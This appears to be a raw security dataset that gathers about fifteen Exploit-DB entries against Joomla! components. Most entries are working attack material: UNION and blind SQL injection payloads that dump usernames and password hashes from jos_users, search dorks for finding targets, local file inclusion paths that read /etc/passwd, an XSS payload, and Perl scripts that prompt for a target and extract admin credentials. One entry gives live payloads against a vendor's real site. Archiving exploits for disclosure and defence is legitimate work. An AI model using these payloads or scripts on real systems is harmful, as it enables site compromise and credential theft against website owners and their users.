deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9258
Description: Joomla! Component Almond Classifieds com_aclassf 7.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-27
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Joomla Component v.7.5 (com_aclassf) Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Joomla Almond Classifieds v.7.5 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.almondsoft.com  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $195 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=[BLIND]

[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=1 <= TRUE
[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=2 <= FALSE

[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => TRUE
[Â»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/components/com_aclassf/gmap.php?addr=[XSS]

[Â»] http://www.almondsoft.com/j/components/com_aclassf/gmap.php?addr="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #5310
Description: Joomla! Component Alphacontent 2.5.8 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-25
Author: cO2

Exploit:
##########################################
#
# [ Joomla Component com_alphacontent SQL Injection ]
#
##########################################
[~] Vulnerability found by: cO2 [ Algeria Security Crew ]
[~] Contact: c02[at]hotmail.de
[~] Website: http://www.dzw0rm.ch
[~] Greetings: to all hackers DZ
##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'AlphaContent'
[~]  Version() : '2.5.8 '
###########################################
#
# DORK 1 :  inurl: "com_alphacontent"
#
# DORK 2 : "AlphaContent 2.5.8 Â© 2005-2008 - visualclinic.fr"
#
###########################################
[+]Exploit :
 
index.php?option=com_alphacontent&section=6&cat=15&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
###########################################
[+] : you can see the password in 'Title'
###########################################

side note:
  <name>alphacontent</name>
  <creationDate>25 Jul 2007</creationDate>
  <author>Bernard Gilly</author>
  <copyright>This component is released under the GNU/GPL License.</copyright>
  <authorEmail>contact@visualclinic.fr</authorEmail>

  <authorUrl>www.visualclinic.fr</authorUrl>
  <version>2.5.8</version>
  <description>Directory component with alphabetical indexes for Joomla's Content</description>

  <name>alphacontent</name>
  <creationDate>16 Sept 2006</creationDate>
  <author>Bernard Gilly</author>
  <copyright>This component is released under the GNU/GPL License.</copyright>
  <authorEmail>contact@visualclinic.fr</authorEmail>

  <authorUrl>www.visualclinic.fr</authorUrl>
  <version>2.5.4</version>
  <description>Directory component and alphabetical indexes for Mambo/Joomla's Content</description>

# milw0rm.com [2008-03-25]
Exploit-DB #45476
Description: Joomla! Component AlphaIndex Dictionaries 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component AlphaIndex Dictionaries 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://multiplanet.gr/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/alphaindex-dictionaries/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17397
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_aindexdictionaries&task=getArticlesPreview
# 
# Parameter: letter=[SQL] (POST)
#  
# Payload: " AND (SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(66=66 ,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VerAyari
# 
#  POST /alphaindex-dictionaries/index.php?option=com_aindexdictionaries&task=getArticlesPreview HTTP/1.1
#  Host: localhost
#  User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
#  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#  Accept-Language: en-US,en;q=0.5
#  Accept-Encoding: gzip, deflate
#  Cookie: 4d2a26b1a22184c44838ed58a1427b57=a5ebafd40988be7421846f2e1a496b61
#  Connection: keep-alive
#  Upgrade-Insecure-Requests: 1
#  Content-Type: application/x-www-form-urlencoded
#  Content-Length: 200
#  
#  letter=" AND (SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(66=66 ,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VerAyari
#  HTTP/1.1 500 Duplicate entry 'multipla_multi@localhost : multipla_dictionary : 10.2.17-MariaDB' for key 'group_key' SQL=SELECT .............
#  Server: nginx admin
#  Date: Mon, 17 Sep 2018 16:15:28 GMT
#  Content-Type: text/html; charset=utf-8
#  Transfer-Encoding: chunked
#  Connection: keep-alive
#  Cache-Control: no-cache
#  Pragma: no-cache
#  
# # # #
Exploit-DB #12150
Description: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
===============================================================================================================


  [o] Joomla Component AlphaUserPoints Local File Inclusion Vulnerability
 
       Software : com_alphauserpoints version 1.5.5
       Vendor   : http://www.alphaplug.com/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_alphauserpoints&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #6002
Description: Joomla! Component altas 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-07-04
Author: Houssamix

Exploit:
#!/usr/bin/perl -w

#   Joomla Component altas  v 1.0  Multiple Remote SQL Injection
#  variables vuln : ( ano )  & ( mes ) 

#[*] Found by : Houssamix From H-T Team 

#[*] H-T Team [ HouSSaMix + ToXiC350 ] 
#[*] Greetz :  Islamic Security Team  &  and all musulmans hackers

#[*] Component_Name:   altas
#[*] Script_Name: Joomla
#[*] Dork : index.php?option=com_altas

# <name>altas</name>
# <creationDate>10/09/2007</creationDate>
# <author>Ilimitada Hosting Co.</author>
# <copyright>(c) 2007</copyright>
# <authorEmail>soporte@ilihost.com</authorEmail>
# <authorUrl>www.ilihost.com</authorUrl>
# <version>1.0</version>

system("color f");
print "\t\t========================================================\n\n";
print "\t\t#                   Viva Islam    	                  #\n\n";
print "\t\t========================================================\n\n";
print "\t\t# Joomla Component altas v 1 multiple SQL Injection 	  #\n\n";
print "\t\t========================================================\n\n";
print "\t\t#       H-T Team [HouSSaMiX - ToXiC350]	          	  #\n\n";
print "\t\t========================================================\n\n";

use LWP::UserAgent;

print "\nEnter your Target (http://site.com/joomla/): ";
	chomp(my $target=<STDIN>);

$uname="username";
$magic="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "index.php?option=com_altas&mes=hsmx&ano=-1%20union%20select%201,2,concat(CHAR(60,117,115,101,114,62),".$uname.",CHAR(60,117,115,101,114,62)),4,5,6,7,8 from/**/".$magic."/**";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] The Target : ".$target."";

if ($answer =~ /<user>(.*?)<user>/){
       
		print "\n[+] Admin User : $1";
}
$host2 = $target . "index.php?option=com_altas&mes=-1%20union%20select%201,2,password,4,5,6,7,8/**/from/**/jos_users--";
$res2 = $b->request(HTTP::Request->new(GET=>$host2));
$answer = $res2->content;
if ($answer =~/([0-9a-fA-F]{32})/){
		print "\n[+] Admin Hash : $1\n\n";
		print "#   Exploit succeed!  #\n\n";
}
else{print "\n[-] Exploit Failed...\n";
}

# coded  by Houssamix From H-T Team

# milw0rm.com [2008-07-04]
Exploit-DB #41508
Description: Joomla! Component AltaUserPoints 1.1 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component AltaUserPoints v1.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_altauserpoints
# Date: 04.03.2017
# Vendor Homepage: https://www.nordmograph.com/
# Software: https://extensions.joomla.org/extensions/extension/e-commerce/credits-a-point-systems/altauserpoints/
# Demo: https://www.nordmograph.com/workshop/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?option=com_altauserpoints&view=account&userid=[SQL]
# 1'+/*!50000OR*/+1+/*!50000GROUP*/+BY+/*!50000CONCAT_WS*/(0x3a,0x496873616e53656e63616e,DATABASE(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1-- -
# # # # #
Exploit-DB #14596
Description: Joomla! Component Amblog 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-08-10
Author: Salvatore Fresta

Exploit:
Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities

 Name              Amblog
 Vendor            http://robitbt.hu
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Amblog is a simple blog engine for Joomla CMS.


II. DESCRIPTION
_______________

Some parameters are not properly  sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Multiple Blind SQL Injection
 

A) Multiple SQL Injection
_________________________

Some  parameters,  such as articleid and catid, are  not
properly sanitised before being used in SQL queries.This
can  be exploited to manipulate SQL queries by injecting
arbitrary SQL code.


B) Multiple Blind SQL Injection
_________________________

The articleid parameter is not properly sanitised before
being  used  in  SQL  queries.  This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version

http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users

http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=editcommentform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=savenewcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=saveeditcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK[PII_REDACTED],NULL),NULL)))

http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK[PII_REDACTED],NULL),NULL)))


V. FIX
______

No fix.
Exploit-DB #45451
Description: Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-09-24
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-09-18
# Vendor Homepage: http://arenam.ru/
# Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/amgallery/
# Version: 1.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #

# # # # #
# POC: 
# 
# 1)
# # # # #

#!/usr/bin/perl -w
# # # # #

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
        ______  _______ ___    _   __   _____ _______   ___________    _   __ 
       /  _/ / / / ___//   |  / | / /  / ___// ____/ | / / ____/   |  / | / / 
       / // /_/ /\__ \/ /| | /  |/ /   \__ \/ __/ /  |/ / /   / /| | /  |/ /
     _/ // __  /___/ / ___ |/ /|  /   ___/ / /___/ /|  / /___/ ___ |/ /|  /
    /___/_/ /_//____/_/  |_/_/ |_/   /____/_____/_/ |_/\____/_/  |_/_/ |_/
                                       
                                       +                                     
                Joomla! Component AMGallery 1.2.3 - SQL Injection          
################################################################################
";

use LWP::UserAgent;
print "\nTarget:[http://site.com/path/]: "; 
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$efe="%2d%36%36%36%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%23";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0');
$host = $target . "?filter_category_id=".$efe."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<h2 class="amGalleryCatTitle">(.*?)<\/h2>/){ 
print "[+] Success !!!\n";
print "\n[+] Detail : $1\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}
Exploit-DB #35036
Description: Joomla! Component Annuaire - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-02
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/45147/info

The Annuaire component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi]
Exploit-DB #13923
Description: Joomla! Component Answers 2.3beta - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-18
Author: jdc

Exploit:
# Exploit Title: Joomla Component Answers v2.3beta Multiple Vulnerabilities
# Date: 25 May 2010
# Author: jdc
# Software Link: 
http://extensions.joomla.org/extensions/communication/forum/12652
# Version: 2.3beta
# Tested on: PHP5, MySQL5

Blind SQL Injection
===================
Requires: magic_quotes OFF

?option=com_answers
&task=categ
&id=-1' union select benchmark(100000,md5(5)) as a -- '


Title Field SQL Injection
=========================
title',(select concat(username,char(32),password) from jos_users where 
gid=25 limit 1),'0','1','0','','') -- ;


SQL Injection
=============
Requires: magic_quotes OFF, Joomla! debug OFF

?option=com_answers
&task=detail
&id=-1' union select concat(username,char(32),password),2,3,4,5,6,7,8,9 
from jos_users where gid=25 limit 1 -- '
Exploit-DB #42492
Description: Joomla! Component Appointment 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Appointment v1.1 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Software Link: https://extensions.joomla.org/extensions/extension/appointment/
# Demo: http://joomlaextension.biz/appointment/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the working user group to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php/service-list?view=allorder&ser_id=[SQL] 
# -84+/*!11111union*/+/*!11111select*/+(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32))--+-
# 
# http://localhost/[PATH]/index.php/service-list?view=allorder&emp_id=[SQL]
# 
# <input type="hidden" name="sername" id="sername" value="............
# 
# Etc...
# # # # #
Exploit-DB #12089
Description: Joomla! Component Appointment 1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
===============================================================================================================


  [o] Joomla Component Appointment Local File Inclusion Vulnerability
 
       Software : com_appointment version 1.5
       Vendor   : http://thebestmakers.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_appointment&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_appointment&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #41412
Description: Joomla! Component AppointmentBookingPro 4.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component AppointmentBookingPro v4.0.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_rsappt_pro3
# Date: 21.02.2017
# Vendor Homepage: http://appointmentbookingpro.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/appointmentbookingpro/
# Demo: http://demo.appointmentbookingpro.com/
# Version: 4.0.1 / 4.0.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/component/rsappt_pro3/booking_screen_gad/891/show_confirmation/ff09f352c87f96e505706df0cfa3e8cc/999[SQL]
# http://localhost/[PATH]/index.php?option=com_rsappt_pro3&view=resourceslist&tags=[SQL]
# # # # #
Exploit-DB #41462
Description: Joomla! Component Appointments for JomSocial 3.8.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-25
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Appointments for JomSocial v3.8.1 - SQL Injection
# Google Dork: N/A
# Date: 25.02.2017
# Vendor Homepage: https://www.cmsplugin.com/
# Software : https://www.cmsplugin.com/products/components/1-appointments-for-jomsocial
# Demo: http://extensions.cmsplugin.com/extensions/j3demo/my-appointments/
# Version: 3.8.1 
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/my-appointments/viewappointment?id=[SQL]
# http://localhost/[PATH]/my-appointments/my-appointments/edit?id=[SQL]
# '+order+by+10-- -
# Etc...
# # # # #